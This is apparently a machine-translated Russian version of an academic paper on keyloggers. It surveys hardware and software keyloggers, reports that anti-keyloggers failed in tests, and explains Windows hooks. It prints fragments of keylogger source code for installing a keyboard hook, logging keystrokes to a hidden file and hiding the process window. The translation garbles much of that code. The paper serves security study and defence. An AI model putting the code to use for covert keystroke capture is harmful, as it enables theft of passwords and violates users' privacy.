Кейлоггеры: упущенная угроза компьютерной безопасности
автор: Кишор Субраманьям, Чарльз Э. Франк, Дональд Ф. Галли
Кафедра математики и информатики
Университет Северного Кентукки
Хайленд-Хайтс, Кентукки 41099
{subramanyamk, frank, galli}@nku.edu
аннотация
Кейлоггеры-это аппаратное или программное обеспечение, которое записывает нажатия клавиш. Они представляют серьезную угрозу для конфиденциальности пользователей компьютеров. Мы установили и протестировали различные кейлоггеры и изучили код кейлоггера. Мы также рассмотрели то, что известно о кейлоггерах, в основном из интернет-источников. В данной статье представлен анализ механизмов использования кейлоггеров и причин, по которым их обнаружение затруднено. Мы предлагаем несколько рекомендаций по шагам, которые должны предпринять пользователи компьютеров.
1. ВВЕДЕНИЕ
Кейлоггеры записывают каждое нажатие клавиши, которое делает пользователь компьютера. Они продаются для того, чтобы следить за использованием компьютера детьми или поймать изменяющего супруга. Они используются для кражи номеров кредитных карт и банковских счетов, имен пользователей и паролей. Они также используются для мониторинга сотрудников.
Кейлоггеры можно установить, получив физический доступ к компьютеру или загрузив программы. Их небольшой объем с точки зрения использования памяти и процессора делает их практически не отслеживаемыми. Кейлоггеры могут отправить по электронной почте или ftp файл, содержащий нажатия клавиш, обратно шпионящему лицу.
Кейлоггеры не получают такого же внимания, как вирусы и черви. Стандартный справочник по вирусам, червям и троянским коням [4] посвящает один абзац кейлоггерам. Среди книг по компьютерной безопасности [2] почти не упоминаются кейлоггеры, а [1] и [9] вообще их не упоминают.
Два недавних случая подчеркивают риск, связанный с кейлоггерами. В феврале 2003 года Дэвиду Будро, студенту Бостонского колледжа, было предъявлено обвинение в установке кейлоггеров на более чем 100 университетских компьютерах [10]. Он использовал информацию о преподавателях, студентах и сотрудниках, чтобы украсть 2000 долларов. В июле 2003 года Цзюцзю Цзян признал себя виновным в установке кейлоггеров в двадцати магазинах Kinko's в Нью-Йорке [7]. Он удаленно фиксировал нажатия клавиш и крал имена пользователей и пароли в течение двух лет, прежде чем его поймали.
2. АППАРАТНЫЕ КЕЙЛОГГЕРЫ
Аппаратные кейлоггеры бывают разных форм и видов. Они могут быть внешним креплением между клавиатурой и портом. Это кусок кабеля с небольшим цилиндром в цветах, соответствующих кабелю клавиатуры. Их установка занимает меньше минуты. Поскольку они расположены на задней панели компьютера, их трудно заметить. Кроме того, аппаратные кейлоггеры могут быть устройством, размещенным внутри устройства рядом с портом клавиатуры или внутри самой клавиатуры. Эти устройства физически невидимы для пользователя компьютера.
Многие производители продают аппаратные кейлоггеры. Мы протестировали $ 99 KeyGhost Std с 512K флэш-памяти [5]. Вопреки нашим ожиданиям, Windows не обнаружила KeyGhost, подключенный между клавиатурой и портом ввода-вывода, Как новое устройство и не появился в списке устройств.
3. ПРОГРАММНЫЕ КЕЙЛОГГЕРЫ
Различные кейлоггеры можно найти, выполнив поиск "кейлоггер" с помощью поисковой системы. Программные кейлоггеры также можно скачать бесплатно с любого форума кейлоггеров [3]. Для этого проекта мы попробовали как коммерческие, так и бесплатные программные кейлоггеры.
Программный кейлоггер может быть установлен на компьютере с правами администратора. Они приходят в различных формах. Кейлоггер может быть исполняемым файлом, написанным на Visual Basic. Это может быть драйвер устройства, который заменяет существующий драйвер ввода-вывода встроенной функцией ведения журнала ключей. Чаще всего кейлоггеры пишутся на C / C++ с использованием крючков Windows.
Мы протестировали программные кейлоггеры Raytown, Ghost, Amecisco, KmInt21. Каждый из них работал по-своему, но конечный результат был один и тот же. Они регистрировали нажатия клавиш и щелчки мыши и записывали их в файл. У них была возможность шифровать и расшифровывать файлы журналов, а также отправлять их по назначению через Интернет.
Ни один из них не появился в Диспетчере задач или в списке процессов. Файлы журналов кейлоггеров были скрыты. Эти файлы журналов было трудно отличить от файлов операционной системы, даже когда
создание списка каталогов скрытых файлов.
4. АНТИ-КЕЙЛОГГЕРЫ
Анти-кейлоггеры - это программное обеспечение, предназначенное для обнаружения кейлоггеров. Мы установили и протестировали анти-кейлоггеры Raytown и Spydex. Анти-кейлоггеры не обнаружили ни одного из программных кейлоггеров или аппаратного кейлоггера KeyGhost. Единственным исключением был анти-кейлоггер Raytown, обнаруживший свой собственный кейлоггер Raytown. Причина в том, что есть много способов для кейлоггеров работать и скрывать себя.
Интернет-дискуссионные группы [3] отмечают, что анти-кейлоггеры, которые обнаруживают много кейлоггеров, имеют очень высокий процент ложных срабатываний. Эти анти-кейлоггеры контролируют программы с помощью крючков Windows, и крючки законно используются многими функциями.
5. КРЮЧКИ ДЛЯ ОКОН
Крюк Windows [3, 8] является ядром многих кейлоггеров. Крюк-это точка в механизме обработки системных сообщений, где приложение может установить процедуру для перехвата трафика сообщений до того, как он достигнет целевой процедуры окна. Процедура hook имеет следующий прототип.
LRESULT CALLBACK HookProc(
int nCode, / / указывает действие, которое необходимо выполнить
WPARAM wParam, / / параметр в зависимости от nCode
LPARAM lParam / / параметр в зависимости от nCode
);
Цепочка Крючков - Это список указателей на процедуры крючков. Когда возникает сообщение, связанное с определенным типом крюка, система передает сообщение каждой процедуре крюка, упомянутой в цепочке Крюков, одно за другим.
Процедура hook может отслеживать или изменять сообщение, проходящее через цепочку hook. Он также может предотвратить попадание сообщения в следующую процедуру подключения или процедуру целевого окна.
Функция SetWindowsHookEx устанавливает определенную приложением процедуру hook в начале цепочки hook. Он имеет следующий прототип функции:
HHOOK SetWindowsHookEx(
int idHook, / / задает тип крючка
HOOKPROC lpfn, / / указатель на процедуру hook
HINSTANCE hMod, / / указатель на dll, содержащий процедуру hook
DWORD dwThreadId / / идентификатор связанного потока
);
Мы изучили исходный код нескольких кейлоггеров, найденных в [6]. Если вы научитесь использовать крючки Windows, кейлоггеры не так уж трудно написать. Они не требуют большого количества кода.
Вот функция InstallHook от одного из кейлоггеров. Он связывает файл журнала и устанавливает процедуру регистрации клавиатуры KeyboardProc в цепочке крючков, вызывая SetWindowsHookEx .
Bool WINAPI InstallHook (перезапись BOOL)
{
если(overwrite) // перезаписывает файл журнала?
{
SetFileAttributes ((LPCTSTR)filename,
FILE_ATTRIBUTE_ARCHIVE);
f1 = fopen (имя файла, "w");
fclose(f1);
}
// установите скрытое свойство для файла журнала
SetFileAttributes ((LPCTSTR)filename,
FILE_ATTRIBUTE_HIDDEN|
FILE_ATTRIBUTE_SYSTEM);
// вызовите win API для установки крючка
hkb = SetWindowsHookEx(WH_KEYBOARD,
(HOOKPROC)KeyboardProc, hInstance, 0);
вернуть TRUE;
}
6. КРЮЧОК WH_KEYBOARD
Из пятнадцати различных типов крючков WH_KEYBOARD и WH_MOUSE важны для написания кейлоггера. Мы описываем тип крючка WH_KEYBOARD. Крюк WH_KEYBOARD позволяет приложению отслеживать трафик сообщений для сообщений WM_KEYDOWN и WM_KEYUP, которые будут возвращены функциями GetMessage или PeekMessage. Этот крючок можно использовать для мониторинга ввода с клавиатуры, отправленного в очередь сообщений с помощью процедуры крючка KeyboardProc. Операционная система вызывает эту процедуру всякий раз, когда приложение вызывает GetMessage или PeekMessage функция и есть сообщение клавиатуры (WM_KEYUP или WM_KEYDOWN), которое будет обработано. Он имеет следующий прототип функции:
LRESULT CALLBACK KeyboardProc(
int code, / / указывает, как обрабатывать сообщение
WPARAM wParam, / / virtual-key code of key generating message
LPARAM lParam / / счетчик повторов, код сканирования, флаг расширенной клавиши,
// контекстный код, предыдущий ключ-государственный флаг
// и флаг переходного государства
);
Вот код KeyboardProc от одного из кейлоггеров. Он открывает файл журнала и записывает символ. При необходимости он вызывает функцию ToAscii для перевода указанного кода виртуальной клавиши и состояния клавиатуры в соответствующий символ или символы.
LRESULT WINAPI CALLBACK KeyboardProc(
int nCode, WPARAM wParam,
ЛПАРАМ лпарам)
{
char ch;
char locname[80];
strcpy(locname, filename);
if (((DWORD)lParam & 0x40000000
&&(HC_ACTION==nCode))
{
if ((wParam==VK_SPACE)||
(wParam==VK_RETURN)||
(wParam>=0x2f) &&>
(wParam<=0x100))
{
f1=fopen(locname,"a+");
if (wParam==VK_RETURN)
{
ch= '\n';
// скопировать символ в файл журнала
fwrite(&ch, 1, 1, f1);
}
остальное
{
// array получает данные о состоянии для каждого виртуального ключа
Байт ks[256];
GetKeyboardState (ks);
Слово w;
Uint сканирование;
scan=0;
ToAscii(wParam, scan,
ks,&w, 0);
ch =char (w);
// скопировать символ в файл журнала
fwrite(&ch, 1, 1, f1);
}
fclose(f1);
}
}
LRESULT RetVal = CallNextHookEx(
hkb, nCode, wParam, lParam );
возвращение Ретваля;
}
Когда происходит событие, которое отслеживается определенным типом крюка, операционная система вызывает процедуру в начале цепочки Крюков. Каждая процедура hook в цепочке определяет, следует ли передавать событие следующей процедуре. Процедура hook передает событие следующей процедуре, вызывая функцию CallNextHookEx.
7. СОКРЫТИЕ КЕЙЛОГГЕРА
Существует множество способов скрыть запущенный кейлоггер от отображения в диспетчере задач или списке процессоров. Вот один из способов скрыть его, открыв скрытое окно при запуске и установив необходимые параметры.
WNDCLASSEX wincl;
Винкл.помеха = помеха;
Винкл.lpszClassName = имя;
Винкл.lpfnWndProc = WndProc;
// Сделать все свойства окна равными нулю.
// Это сделает окно невидимым.
Винкл.стиль = 0;
Винкл.cbSize = sizeof(WNDCLASSEX);
Винкл.hIcon = NULL;
Винкл.hIconSm = NULL;
Винкл.hCursor = NULL;
Винкл.lpszMenuName = NULL;
Винкл.cbClsExtra = 0;
Винкл.cbWndExtra = 0;
Винкл.hbrBackground = 0;
Винкл.lpszMenuName = NULL;
если(!RegisterClassEx (&wincl)) возвращает 0;
// Сделать все параметры отображения
// (например, высота и ширина) ноль.
// Это сделает его невидимым с панели задач
hwnd = CreateWindowEx(0, (LPCTSTR)name,"",
0,0,0,0,0, HWND_DESKTOP, NULL,
hInstance, NULL);
ShowWindow(hwnd, SW_HIDE);
8. ПРЕВЕНТИВНЫЕ МЕРЫ
Мы обнаружили, что кейлоггеры практически невозможно отслеживать после установки. Однако есть несколько превентивных мер, которые могут быть приняты.
1. Большинство пользователей Windows должны иметь ограниченные привилегии, сделав их частью группы пользователей.
2. В группе администраторов должно быть очень мало сущностей, и они должны иметь строгую политику паролей.
3. Никто никогда не должен подключаться к Интернету или даже внутренней сети, войдя в систему компьютера в качестве администратора. Это дает сетевым подслушивающим карт-бланш доступ к аппарату и возможность удаленной установки программного обеспечения.
4. Порт клавиатуры компьютера должен быть проверен на наличие аппаратного кейлоггера.
9. Заключение
Кейлоггеры просты в написании и установке. Они легко приобретаются при просмотре интернета [3, 6] или могут быть приобретены по скромной цене. Антикейлоггеры неэффективны. Лучшее, что можно сделать, чтобы предотвратить ведение журнала ключей, - это принять хорошие методы безопасности и выполнить физические проверки аппаратных кейлоггеров.
10. Ссылки
[1] Cole, Eric, Hackers Beware, New Riders Publishing, 2002.
[2] Garfinkel, S., Spafford, G., and Schwartz, A., Practical Unix & Internet Security, O'Reilly & Associates, 3rd edition, 2003.
[3] группы Google, http://www.google.com/groups
[4] Grimes, Roger A., Malicious Mobile Code, O'Reilly & Associates, 2001, (p. 190).
[5] Keyghost, http://www.keyghost.com
[6] исходный код кейлоггера, http://www.planetsourcecode.com
[7] "шпионское дело Кинко подчеркивает риск публичных интернет-терминалов",
http://www.siliconvalley.com/mld/siliconvalley/news/6359407.htm
[8] Microsoft developer network, http://msdn.Microsoft.com
[9] Пфлегер, с. и Пфлегер, С., Безопасность в вычислительной технике, 3-е издание, Прентис-Холл, 2003.
[10] "студент обвиняется после взлома компьютеров колледжа", http://www.xatrix.org/article2641.html
Дата публикации: